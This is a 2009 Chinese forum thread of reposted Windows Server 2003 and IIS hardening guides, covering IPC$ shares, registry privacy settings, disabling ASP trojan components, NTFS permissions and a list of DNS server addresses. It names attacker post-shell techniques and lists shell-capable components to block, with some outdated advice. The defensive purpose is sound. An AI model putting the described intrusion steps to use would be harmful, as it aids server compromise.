⑦ 对一些以System权限运行的系统服务进行降级处理。(诸如:将Serv-U、Imail、IIS、Php、Mssql、Mysql等一系列以System权限运行的服务或者 应用程序换成其它administrators成员甚至users权限运行,这样就会安全得多了...但前提是需要对这些基本运行状态、调用API等相关情况较为了解. )

其实,关于防止如Overflow溢出类攻击的办法除了用上述的几点以外,还有N多种办法:诸如用组策略进行限制,写防护过滤程序用DLL方式加载windows到相关的SHell以及动态链接程序之中这类。当然自己写代码来进行验证加密就需要有相关深厚的Win32编程基础了,以及对Shellcode较有研究;由于此文仅仅是讨论简单的解决办法,因此其它办法就不在这里详述了...

2、如何在防止被骇客溢出得到Shell后对系统的而进一步入侵呢?

① 在做好1中上述的工作之后,基本上可以防目骇客在溢出之后得到shell了;因为即使Overflow溢出成功,但在调用CMDSHELL、以及对外联接时就卡了。 (为什么呢,因为:1.溢出后程序无法再调用到CMDSHLL我们已经禁止system访问CMD.exe了。2.溢出之后在进行反弹时已经无法对外部IP进行连接了^_^ 所以,基本上要能过system权限来反弹shell就较困难的了...)

② 当然世界上是不存在绝对的安全的,假设入侵者在得到了我们的shell之后,做些什么呢?一般入侵者在在得到shell之后,就会诸如利用系统命令加账号了 通过tftp、ftp、vbs等方式传文件了等等来达到进一步控制服务器。这里我们通过1上述的办法对命令进行了限制,入侵者是没有办法通过tftp、ftp来传文件了,但他们仍然可以能过echo写批处理,用批处理通过脚本BAT/VBS/VBA等从WEB上下载文件,以及修改其它盘类的文件等潜在破坏行为。所以我们需要 将echo命令也限制以及将其它盘的System写、修改文件的权限进行处理。以及将VBS/VBA类脚本以及XMLhttp等组件进行禁用或者限制system的运行权。这样 的话别人得到Shell也无法对服务器上的文件进行删除以及进行步的控制系统了;以及本地提权反弹Shell了^_^

后记:其它服务器、系统的安全是个整体的概念;有可能你其它一小点的疏忽就可以让你的网站、甚至服务器沦陷。因此安全策略必需走防患未然的道路,任何一个小地方都不能马虎、今天关于防Overflow的安全小技巧就为大家介绍到这里...关于其它方面的服务器安全配置经验我们在下一篇文章再见吧:-) (注:由于本人才疏学浅,如文中有错误实为在所难免,还请各位看官见谅!旨在抛砖引玉,如果您有更好的办法请别忘了在论坛跟贴^0^,先行谢过!)

关于本文版权:本文版权归[服务器安全讨论区]与[情长在线]共同所有,您可以任意转载,但务必请保留文章的完整性及作者信息;请珍惜别人的知识版权!

关于本文作者:李泊林/LeeBolin 资深系统工程师、专业网络安全顾问。已成功为国内多家大中型企业,ISP服务商提供了完整的网络安全解决方案。尤其擅长于整体网络安全方案的设计、大型网络工程的策划、以及提供完整的各种服务器系列安全整体解决方案。[S.S.D.A 服务器安全讨论区] Http://www.31896.net [F.N.S.T 情长在线] Http://www.fineacer.org E-mail:leebolin#31896.net QQ:24460394 您对本文有任何建议与疑问可以来信或者QQ在线与作者进行交流;或者到服安论坛与作者进行讨论!

回复 支持 反对

使用道具 举报

15#
发表于 2009-11-12 19:14:29 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
如何防范ipc$入侵

1、禁止空连接进行枚举(此操作并不能阻止空连接的建立)

首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把
RestrictAnonymous = DWORD的键值改为:00000001。
restrictanonymous REG_DWORD
0x0 缺省
0x1 匿名用户无法列举本机用户列表
0x2 匿名用户无法连接本机IPC$共享
说明:不建议使用2,否则可能会造成你的一些服务无法启动,如SQL Server

2、禁止默认共享

1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)修改注册表删除共享
运行-regedit
找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
把AutoShareServer(DWORD)的键值改为0000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

3、停止server服务

1)暂时停止server服务
net stop server /y (重新启动后server服务会重新开启)
2)永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

回复 支持 反对

使用道具 举报

16#
发表于 2009-11-12 19:14:45 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
一直以来,Windows 2003系统是大家公认在安全方面做得比较好的操作系统,以致于很多人在使用了Windows 2003操作系统后就认为自己的系统安全已经“高枕无忧”了。可事实并非如此,细心的朋友可能会发现,Windows 2003系统在给人们带来强大稳定性的同时,其缺省设置同样也存在安全隐患!为此,我们有必要对Windows 2003缺省设置进行适当调整,以便让系统“拒绝”对外泄密。
  大家知道,在默认状态下Windows 2003系统会将你输入的密码内容自做主张地记忆下来保存在系统特定的缓存中,日后想再次调用密码时,不需要重复输入密码,只需要输入密码的前几个字符,剩余的密码内容就会自动被系统补全。很明显,保存在Windows 2003系统特定缓存中的密码记录,一旦被黑客利用的话,就可能给系统带来安全威胁。为了确保密码信息不被泄露,你可以按照下面的步骤禁止系统把密码信息写入缓存,这样就能切断黑客获得密码信息的“通道”了:  
依次单击系统桌面中的“开始”/“运行”命令,在弹出的运行对话框中,输入注册表编辑命令“regedit”;然后依次单击注册表编辑窗口中的HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\policies分支,检查“policies”分支下面是否包含“Network”子项;倘若找不到“Network”子项时,你不妨选中“policies”主键并用鼠标右键单击之,从弹出的快捷菜单中依次执行“新建”/“项”命令,并将该项命名为“Network”。   
  接着再将“Network”项选中,并用鼠标右键单击该项右侧区域中的空白位置,再执行右键菜单中的“新建”命令,选中下面的“DWORD”命令;然后将新建的DWORD值名称设置为“DisablePasswordCaching”,将其数值设置为“0x00000001”,最后单击“确定”按钮退出注册表编辑界面;完成上面设置后,将系统重新启动一下,就能使上面的设置生效了。
颜色也能泄密,会不会搞错呀?相信许多人都会发出这样的疑惑!不错,如果你和其他人使用同一台计算机,那么你在使用Windows 2003内置的IE上网后,网页中超级链接的颜色变化会让其他人知道你上网的痕迹。由于不少网页的超级链接颜色在访问之前与访问之后都是不同的,其他人一旦打开你刚才访问的页面,就能清楚你的上网“行踪”了。因此,你也有必要对Windows 2003中的IE浏览器进行一下合适设置,让超级链接的颜色“拒绝”对外泄密:  
运行IE程序,依次执行浏览界面中的“工具”/“Internet选项”,再单击选项设置窗口中的“常规”标签,然后单击对应标签页面中的“辅助功能”按钮,在弹出的设置界面中,将“不使用Web页中指定的颜色”选中。   
  接着单击Internet“常规”标签页面中的“颜色”按钮,在随后出现的设置窗口中,选中“使用Windows颜色”选项,并且在“链接”设置项中,将访问过的链接颜色和没有访问过的链接颜色设为相同,之后单击“确定”按钮,来结束整个颜色设置;如此一来,IE中的超级链接颜色就不会将你的上网“痕迹”泄露出去了。   
  Windows 2003系统为用户提供的简单文件共享功能可以让局域网之中的用户很方便地相互“沟通交流”,不过简单文件共享功能同时也给系统带来了不少安全漏洞,这些漏洞会在不经意间将系统的隐私泄露出去;为此,当系统不需要与其他用户进行“沟通交流”时,可以按下面的步骤,将简单文件共享功能暂时屏蔽掉,以确保系统不对外泄密:  
 
  双击Windows 2003桌面中的“我的电脑”图标,在弹出的“我的电脑”窗口中,依次单击菜单栏中的“工具”/“文件夹选项”命令。  
 
  在随后出现的文件夹参数设置界面中,选中“查看”选项,并在对应选项的设置页面中,取消“高级设置”项中的“使用简单文件共享”选项,再单击“确定”按钮,就能让系统“拒绝”共享泄密了。
这里所提到的“报告”,其实就是Windows 2003系统中的“发送错误报告”功能;在Windows 2003系统出错时,你常常会看到错误报告窗口,如果你单击该窗口中的“发送错误报告”按钮,系统中的一些隐私信息也会一并被提交到微软公司手中。尽管该“报告”功能可以有效帮助微软公司搜集操作系统的缺憾,可是对于不少普通电脑用户来说,“报告”功能只会泄露系统隐私,不会给自己带来任何好处;为了操作的便利以及系统的安全,笔者建议你屏蔽掉Windows 2003系统中的“发送错误报告”功能;在屏蔽该功能时,可以按如下方法来进行:
  首先在Windows 2003系统的控制面板窗口中,双击系统图标进入到系统属性窗口,再选中该窗口中的“高级”标签,然后单击该标签页面中的“错误报告”按钮,在随后出现的错误报告设置界面中,将“禁用错误汇报”选中,当然最好也将“但在发生严重错误时通知我”选中,如此一来系统日后遇到错误时,你仍然可以看到和错误有关的提示界面,只不过该界面已经不会要求你提交错误信息了。完成上面的设置后,单击“确定”按钮就能使设置生效了。  
  此外,你还能通过停止服务的方法来屏蔽Windows 2003系统中的“发送错误报告”功能;在使用这种方法时,你可以先打开系统运行对话框,然后执行“msconfig”系统实用程序配置命令,接着选中“服务”标签,并在弹出的标签页面中,取消服务列表中的“Error Reporting Service”选中状态,最后重新启动一下计算机系统就能使设置生效了。
这里所提到的“网页泄密”,主要是指浏览了恶意网页后,本地系统的硬盘有可能被网页设置成共享,这样Internet中的用户就能查看到本地系统中的隐私信息,从而给系统安全带来致命的威胁。为了确保本地硬盘不被非法共享,你必须进行如下的操作,来切断恶意网页非法共享本地硬盘的“通道”:依次单击“开始”/“运行”命令,在弹出的运行对话框中执行注册表编辑命令,在随后出现的编辑窗口中,将鼠标定位于HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan分支,检查“LanMan”主键下面是否包含“RWC$”选项,倘若找到的话,就说明当前你的本地硬盘已经被设置为了非法共享,此时你可以将“RWC$”键值选中并删除,这样就能将恶意网页私下创建的非法共享给删除了;   
  为了防止日后本地硬盘再次被恶意网页非法共享,你可以打开“我的电脑”窗口,找到Windows系统安装路径下面的system目录,并用鼠标右键单击该目录窗口中的“Vserver.vxd”文件(该文件是文件与打印机共享虚拟设备的驱动文件),从弹出的快捷菜单中执行“删除”命令,将它从系统中删除掉;
  下面再打开注册表编辑窗口,用鼠标依次展开注册表分支HKEY_LOCAL_MACHINE\ System\CurrentControlSet\Services\VxD,接着将“VxD”主键下面的“Vserver”选项选中,并执行菜单栏中的“编辑”/“删除”命令,以便将“Vserver”选项删除掉;最后将计算机系统重新启动一下,这样来自Internet中的任意网页,日后都无法将本地硬盘设置为隐藏共享了。
Windows 2003系统中的日志功能保存着系统整体性能以及软硬件方面的错误信息,同时还记录着所有用户访问系统时的操作信息和安全信息,通过查看分析日志文件,系统管理员能够有效地找到企图破坏系统的“可疑分子”。不过系统日志文件在默认状态下,可以被Guest帐号或者匿名帐号访问到,如此一来攻击者可能会冒用Guest或匿名帐号登录系统,并偷看系统日志文件,甚至能将他们的攻击“痕迹”从日志文件中删除,这样的话系统管理员就会无法通过日志文件及时知道系统是否已经遭受了“入侵”;所以,为了“拒绝”日志文件对外泄密,你可以“阻止”Guest或匿名帐号访问日志文件:   
  打开系统注册表编辑界面,将鼠标定位于HKEY_LOCAL_MACHINE\SYSTEM\Current- ControlSet\Services\EventLog\ Application注册表分支,然后在对应的右边子窗口中右击空白位置,并执行快捷菜单中的“新建”/“双字节值”命令;   
  接着将新建好的双字节值名称设置为“RestrictGuestAccess”,将它的数值设置为“1”,再单击“确定”按钮,并刷新一下注册表,就可以“阻止”Guest或匿名帐号来访问应用日志文件了;   
  下面再将鼠标定位于HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System注册表分支,再在该分支下面新建一个名称为“RestrictGuestAcc-ess”的双字节值,并将它的数值设置为“1”,这样一来就能“阻止”Guest或匿名帐号访问系统日志文件了;
  按照相同的办法,你可以将鼠标定位于HKEY_LOCAL_MACHINE\SYSTEM\CurrentContr-olSet\Services\EventLog\Security注册表分支,并在该分支下面创建一个名字为“RestrictGuestAccess”的双字节值,并将其数值也设置为“1”,就能“阻止”Guest或匿名帐号访问安全日志文件了。
由于任何Windows 2003系统在默认状态下,都已经创建好了Guest、Administrator帐号;创建默认这些帐号的本意是方便用户登录系统,可是许多黑客常常会利用这些默认帐号来攻击系统,导致系统隐私信息在不经意间被泄露;为此,你可以停用这些默认帐号,以便切断黑客利用默认帐号攻击系统的通道,从而确保系统的安全:   
  首先选中开始菜单中的“控制面板”选项,接着单击下级菜单中的“管理工具”、“计算机管理”命令,在随后出现的界面中展开“本地用户和组”分支,然后选中下面的“用户”图标,在对应“用户”选项的右边子窗口中,双击Guest帐户,随后你会发现在默认状态下,该帐号已被停止使用;倘若没有被停止的话,你就必须在Guest帐户属性设置框中将它停用。   
  接着双击帐号列表中的Administrator选项,并在弹出窗口中选中“常规”标签,再在标签页面中,选中“帐户已禁用”选项。当然,为了确保自己日后能以管理员的身份登录到系统中,你最好在禁用Administrator帐号之前先创建一个新的帐号,并将新帐号添加到Administrator组中。
大家知道,通过设置IE6.0程序的安全级别,就能控制恶意网页攻击系统;不过该安全级别在默认状态下却无法控制Internet用户对本地硬盘的访问,这样的话黑客就可能通过IE“偷看”到本地硬盘中的隐私信息。为了确保本地硬盘信息不被Internet用户随意访问到,你可以通过如下步骤来让IE程序的安全级别,也能控制“我的电脑”:
  
  打开注册表编辑器,并在其编辑界面中逐步单击HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0分支,在对应“0”主键的右边子窗口中,创建一个名称为“Flags”的二进制值,再将其数值设置为“1”,完成设置后单击“确定”按钮退出注册表编辑界面;
  接着关闭已经打开的IE窗口,再重新启动一下IE程序,并单击菜单栏中的“工具”/“Internet选项”,选中“安全”标签后,你将发现“我的电脑”图标已经出现在安全标签页面中了,这说明IE的安全级别也能控制本地硬盘的访问了;  
 
  接下来可以选中界面中的“我的电脑”选项,然后单击该界面中的“自定义级别”按钮,在其后打开的设置界面中,将“运行ActiveX控件和插件”设置为“禁用”,同时将“下载ActiveX控件”选项也设置为“禁用”,这样Internet用户就无法通过IE“偷看”到本地硬盘中的信息了。
在默认状态下,Windows 2003系统开启了很多服务,不过其中有不少服务是“聋子的耳朵—摆设”,甚至有的服务还能给系统安全带来潜在威胁;因此,你最好将一些不常用到的服务统统屏蔽掉,以免黑客或攻击者利用这些“闲置”的服务,来窃取系统的隐私信息: 依次单击系统桌面中的“开始”/“控制面板”/“管理工具”/“服务”命令,在弹出的服务列表窗口中,你会清楚地看到每一个服务的运行状态和注释说明。在该列表中,你可以将系统暂时用不到的服务全部停止掉,比方说Remote Registry服务、telnet服务、Error Reporting Service服务、NetMeeting Remote Desktop Sharing服务等;   
  在停用某个具体服务时,你可以先在服务列表中双击目标服务,例如telnet服务,在弹出的服务属性设置窗口中,选中“启动类型”下拉列表中的“手动”选项,再单击“停止”按钮,就能使该目标服务暂时停用了。
也许你常会看到自己明明没有进行任何操作,可计算机的硬盘信号灯却在不停地闪烁,这是为什么呢?原来Windows 2003系统的许多操作,都是在系统“后台”默默进行的;因此,在你没有执行任何操作的情况下,硬盘信号灯仍然不停闪烁时,多半是Windows系统在“幕后”偷偷交换文件呢!文件交换时产生的一些隐私信息可能会被黑客通过专业的工具轻易捕捉到,为此,你应该通过下面的步骤及时将文件交换时产生的隐私信息自动清除掉:  
  打开系统注册表编辑界面,将鼠标定位于HKEY_local_machine\system\currentcontr-olset\control\sessionmanager   \memory management注册表分支,在对应“memory management”分支的右侧区域中,找到ClearPageFileAtShutdown键值,倘若没找到的话,可以重新创建一个双字节值,并将它的名称设置为“ClearPageFileAtShutdown,将它的数值设置为“1”,最后单击“确定”按钮,就能使文件交换时产生的隐私信息在系统关闭之前被自动清除掉了。

回复 支持 反对

使用道具 举报

17#
发表于 2009-11-12 19:15:01 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
全国各地 DNS 服务器 IP 总汇

当您当地的DNS服务器出问题,造成无法上网时,您可以试用以下的地址:
安徽
pdns=202.102.192.68
adns=202.102.199.68
广东
pdns=202.96.128.143
adns=202.96.128.68
上海
pdns=202.96.199.132
adns=202.96.209.133
香港
pdns=205.252.144.228
澳门
pdns=202.175.3.8
深圳
pdns=202.96.154.15
adns=202.96.154.8
浙江
pdns=202.96.96.68
adns=202.96.104.18
陕西
pdns=202.100.13.11
西安
pdns=202.100.4.15
adns=202.100.0.68
天津
pdns=202.99.96.68
辽宁
pdns=202.96.75.64
adns=202.96.64.68
江苏
pdns=202.102.13.141
adns=202.102.24.35
四川
pdns=61.139.2.69
重庆
pdns=61.128.128.68
adns=61.128.192.4
成都
pdns=202.98.96.68
adns=202.98.96.69
河北
pdns=202.99.160.68
保定
pdns=202.99.160.68
adns=202.99.166.4
山西
pdns=202.99.198.6
吉林
pdns=202.98.5.68
山东
pdns=202.102.152.3
adns=202.102.128.68
福建
pdns=202.101.98.55
湖南
pdns=202.103.100.206
广西
pdns=202.103.224.68
adns=202.103.225.68
江西
pdns=202.101.240.36
adns=202.109.129.2
云南
pdns=202.98.160.68
adns=202.98.161.68
河南
pdns=:202.102.227.68
adns=202.102.224.68
新疆
pdns=61.128.97.73
乌鲁木齐
pdns=61.128.97.73
adns=61.128.97.74
武汉
pdns=202.103.0.117
adns=202.103.24.68
厦门
pdns=202.101.103.55
adns=202.101.103.54
长沙
pdns=202.103.96.68
adns=202.103.96.112
北京2
pdns=202.106.196.115
adns=202.106.148.1
北邮
pdns=202.112.10.36
adns=202.112.10.37
北京
pdns=202.106.196.152
adns=202.106.196.115
北京|10.2.1.38|202.96.0.133|202.96.199.133|
上海|10.95.0.3|202.96.199.133|202.96.0.133|
天津|10.10.64.68|202.99.96.68|
广东||202.96.128.68|202.96.199.133|
河南|10.68.160.3|10.68.32.3|202.102.227.68|202.102.245.12|
广西|10.137.128.40|202.103.224.68|202.96.128.68|
福建|10.110.0.10|202.101.98.55|202.101.98.54|
湖南|10.62.1.17|202.103.96.68|202.103.0.68|
江苏|202.102.29.3|10.74.32.30|202.102.15.162|
陕西|10.172.18.8|202.100.4.16|202.100.0.68|
湖北|10.55.0.33|10.54.2.136|202.103.0.68|
山东|10.82.17.68|202.102.152.3|202.102.154.3|
浙江|10.103.68.1|202.96.96.68|202.96.104.18|
辽宁|10.34.11.2|202.96.75.68|202.98.0.68|
安徽|10.89.64.5|202.102.192.68|
重庆|10.150.0.1|61.128.128.68|
黑龙江|10.48.2.4|202.97.224.68|202.97.229.133|
河北|10.17.128.90|202.99.160.68|
吉林|10.42.64.65|10.44.223.66|202.98.14.18|202.98.14.19|
江西|10.117.32.40|202.101.224.68|
山西|10.23.32.22|202.99.192.68|
新疆|10.196.1.14|61.128.97.73|61.128.97.74|
贵州|10.157.2.15|202.98.192.68|
云南|10.162.10.3|202.98.160.68|202.98.96.68|
四川|10.143.0.69|202.98.96.68|
内蒙古|10.29.0.2|202.99.224.68|
青海|10.184.0.1|202.100.128.68|
海南|10.131.16.88|202.100.192.68|202.100.199.8|
宁夏|10.190.2.67|202.100.96.68|202.100.0.68|
甘肃|10.179.64.1|202.100.72.13|
香港||205.252.144.228|208.151.69.65|
澳门||202.175.3.8|202.175.3.3|
全国各地DNS列表

天府热线DNS:61.139.2.69
长春163  :202.98.0.68
       202.98.3.68
263在线  :211.100.2.130
       211.100.1.10
中国万网  :210.79.232.248
  DNS  :210.192.103.50   (dns1.hichina.com)
  DNS  :202.106.169.100  (dns2.hichina.com)
新网    :211.99.199.194
      :211.99.199.195
263IDC   :211.100.2.130  (NS.263IDC.COM)
      :211.100.1.10   (NSB.263IDC.COM)

其他省市自治区:

香港 ns1.netvigator.com 205.252.144.228

澳门 vassun2.macau.ctm.net 202.175.3.8

深圳 ns.shenzhen.gd.cn 202.96.134.133
202.96.154.8 /202.96.154.15

北京 ns.bta.net.cn 202.96.0.133
ns.spt.net.cn 202.96.199.133
ns.cn.net 202.97.16.195
202.106.0.20
202.106.148.1
202.106.196.115

广东 ns.guangzhou.gd.cn 202.96.128.143
dns.guangzhou.gd.cn 202.96.128.68
61.144.56.100
202.96.134.133

上海 ns.sta.net.cn 202.96.199.132
202.96.199.133
202.96.209.5
202.96.209.133

浙江 dns.zj.cninfo.net 202.96.102.3
202.96.96.68
202.96.104.18

陕西 ns.snnic.com 202.100.13.11

西安: 202.100.4.15
202.100.0.68

天津 ns.tpt.net.cn 202.99.96.68

辽宁 ns.dcb.ln.cn 202.96.75.68
202.96.75.64
202.96.64.68
202.96.69.38
202.96.86.18
202.96.86.24

江苏 pub.jsinfo.net 202.102.29.3

四川 ns.sc.cninfo.net 61.139.2.69

重庆 61.128.128.68
61.128.192.4

成都: 202.98.96.68
202.98.96.69

河北 ns.hesjptt.net.cn 202.99.160.68

保定: 202.99.160.68
202.99.166.4

山西 ns.sxyzptt.net.cn 202.99.198.6

吉林 ns.jlccptt.net.cn 202.98.0.68

山东 202.102.152.3
202.102.128.68


福建 dns.fz.fj.cn 202.101.98.55

湖南 202.103.100.206

广西 10.138.128.40
202.103.224.68
202.103.225.68

江西 202.109.129.2
202.101.224.68
202.101.240.36

云南 ns.ynkmptt.net.cn 202.98.160.68

河南: 202.102.227.68
202.102.224.68
202.102.245.12

新疆: 61.128.97.73

乌鲁木齐 61.128.97.73
61.128.97.74

武汉: 202.103.24.68
202.103.0.117

厦门
202.101.103.55
202.101.103.54

广东茂名
202.96.134.133
202.103.176.22

重庆 61.128.128.68
61.128.192.64

回复 支持 反对

使用道具 举报

18#
发表于 2009-11-12 19:15:15 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
如何防止ASP 木马在服务器上运行

目前比较流行的ASP木马主要通过三种技术来进行对服务器的相关操作。
  一、使用FileSystemObject组件
  FileSystemObject可以对文件进行常规操作
  可以通过修改注册表,将此组件改名,来防止此类木马的危害。
  HKEY_CLASSES_ROOT\Scripting.FileSystemObject\
  改名为其它的名字,如:改为FileSystemObject_ChangeName
  自己以后调用的时候使用这个就可以正常调用此组件了
  也要将clsid值也改一下
  HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值
  也可以将其删除,来防止此类木马的危害。
  注销此组件命令:RegSrv32 /u C:\WINNT\SYSTEM\scrrun.dll
  禁止Guest用户使用scrrun.dll来防止调用此组件。
  使用命令:cacls C:\WINNT\system32\scrrun.dll /e /d guests
  二、使用WScript.Shell组件
  WScript.Shell可以调用系统内核运行DOS基本命令
  可以通过修改注册表,将此组件改名,来防止此类木马的危害。
  HKEY_CLASSES_ROOT\WScript.Shell\
  及
  HKEY_CLASSES_ROOT\WScript.Shell.1\
  改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName
  自己以后调用的时候使用这个就可以正常调用此组件了
  也要将clsid值也改一下
  HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值
  HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值
  也可以将其删除,来防止此类木马的危害。
  三、使用Shell.Application组件
  Shell.Application可以调用系统内核运行DOS基本命令
  可以通过修改注册表,将此组件改名,来防止此类木马的危害。
  HKEY_CLASSES_ROOT\Shell.Application\
  及
  HKEY_CLASSES_ROOT\Shell.Application.1\
  改名为其它的名字,如:改为Shell.Application_ChangeName或Shell.Application.1_ChangeName
  自己以后调用的时候使用这个就可以正常调用此组件了
  也要将clsid值也改一下
  HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
  HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值
  也可以将其删除,来防止此类木马的危害。
  禁止Guest用户使用shell32.dll来防止调用此组件。
  使用命令:cacls C:\WINNT\system32\shell32.dll /e /d guests
  注:操作均需要重新启动WEB服务后才会生效。
  四、调用Cmd.exe
  禁用Guests组用户调用cmd.exe
  cacls C:\WINNT\system32\Cmd.exe /e /d guests
  通过以上四步的设置基本可以防范目前比较流行的几种木马,但最有效的办法还是通过综合安全设置,将服务器、程序安全都达到一定标准,才可能将安全等级设置较高,防范更多非法入侵。

回复 支持 反对

使用道具 举报

19#
发表于 2009-11-12 19:15:28 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
如何解除FSO上传程序小于200k限制?
  先在服务里关闭IIS admin service服务,找到Windows\System32\Inesrv目录下的Metabase.xml并打开,找到ASPMaxRequestEntityAllowed,将其修改为需要的值。默认为204800,即200K,把它修改为51200000(50M),然后重启IIS admin service服务。
  
  ASP提供了强大的文件系统访问能力,可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作,这给学校网站的安全带来巨大的威胁。现在很多校园主机都遭受过FSO木马的侵扰。但是禁用FSO组件后,引起的后果就是所有利用这个组件的ASP程序将无法运行,无法满足客户的需求。如何既允许FileSystemObject组件,又不影响服务器的安全性呢(即:不同虚拟主机用户之间不能使用该组件读写别人的文件)?以下是笔者多年来摸索出来的经验:
  第一步是有别于Windows 2000设置的关键:右击C盘,点击“共享与安全”,在出现在对话框中选择“安全”选项卡,将Everyone、Users组删除,删除后如果你的网站连ASP程序都不能运行,请添加IIS_WPG组(图1),并重启计算机。
  经过这样设计后,FSO木马就已经不能运行了。如果你要进行更安全级别的设置,请分别对各个磁盘分区进行如上设置,并为各个站点设置不同匿名访问用户。下面以实例来介绍(假设你的主机上E盘Abc文件夹下设Abc.com站点):
  1. 打开“计算机管理→本地用户和组→用户”,创建Abc用户,并设置密码,并将“用户下次登录时须更改密码”前的对号去掉,选中“用户不能更改密码”和“密码永不过期”,并把用户设置为隶属于Guests组。
  2. 右击E:\Abc,选择“属性→安全”选项卡,此时可以看到该文件夹的默认安全设置是“Everyone”完全控制(视不同情况显示的内容不完全一样),删除Everyone的完全控制(如果不能删除,请点击[高级]按钮,将“允许父项的继承权限传播”前面的对号去掉,并删除所有),添加Administrators及Abc用户对本网站目录的所有安全权限。
  3. 打开IIS管理器,右击Abc.com主机名,在弹出的菜单中选择“属性→目录安全性”选项卡,点击身份验证和访问控制的[编辑],弹出图2所示对话框,匿名访问用户默认的就是“IUSR_机器名”,点击[浏览],在“选择用户”对话框中找到前面创建的Abc账户,确定后重复输入密码。
  经过这样设置,访问网站的用户就以Abc账户匿名身份访问E:\Abc文件夹的站点,因为Abc账户只对此文件夹有安全权限,所以他只能在本文件夹下使用FSO。
  

回复 支持 反对

使用道具 举报

20#
发表于 2009-11-12 19:15:43 | 只看该作者 来自: 浙江杭州 来自 浙江杭州
运行IIS的最小NTFS权限


编辑整理:momo

本文介绍了正常运行IIS所需要的最小NTFS权限,当IIS不能正常运行或者想严格限制权限的时候可以参照此文,以下是操作的7个步骤。

1、 选取整个硬盘:
System:完全控制
Administrator:完全控制
(允许将来自父系的可继承性权限传播给对象)

2、 \Program Files\Common Files:
Everyone:读取及运行
列出文件目录
读取
(允许将来自父系的可继承性权限传播给对象)

3、 \Inetpub\wwwroot:(按FSO处理)
IUSR_MACHINE:读取及运行
列出文件目录
读取
(允许将来自父系的可继承性权限传播给对象)

4、 \Winnt\system32:
选择除Inetsrv和Centsrv以外的所有目录,去除“允许将来自父系的可继承性权限传播给对象”选框,复制。

5、 \Winnt:
选择除了Downloaded Program Files、Help、IIS Temporary Compressed Files、Offline Web Pages、system32、Tasks、Temp、Web以外的所有目录,去除“允许将来自父系的可继承性权限传播给对象”选框,复制。

6、 \Winnt:
Everyone:读取及运行
列出文件目录
读取
(允许将来自父系的可继承性权限传播给对象)

7、 \Winnt\Temp:(允许访问数据库并显示在ASP页面上)
Everyone:修改
(允许将来自父系的可继承性权限传播给对象)

这样,你就拥有了一个权限严格而又可以正常运行的IIS系统了。

回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

关闭

站长提醒 上一条 /1 下一条

快速回复 返回顶部 返回列表
附近
店铺
微信扫码查看附近店铺
维修
报价
扫码查看手机版报价
信号元
件查询
点位图


芯片搜索

快速回复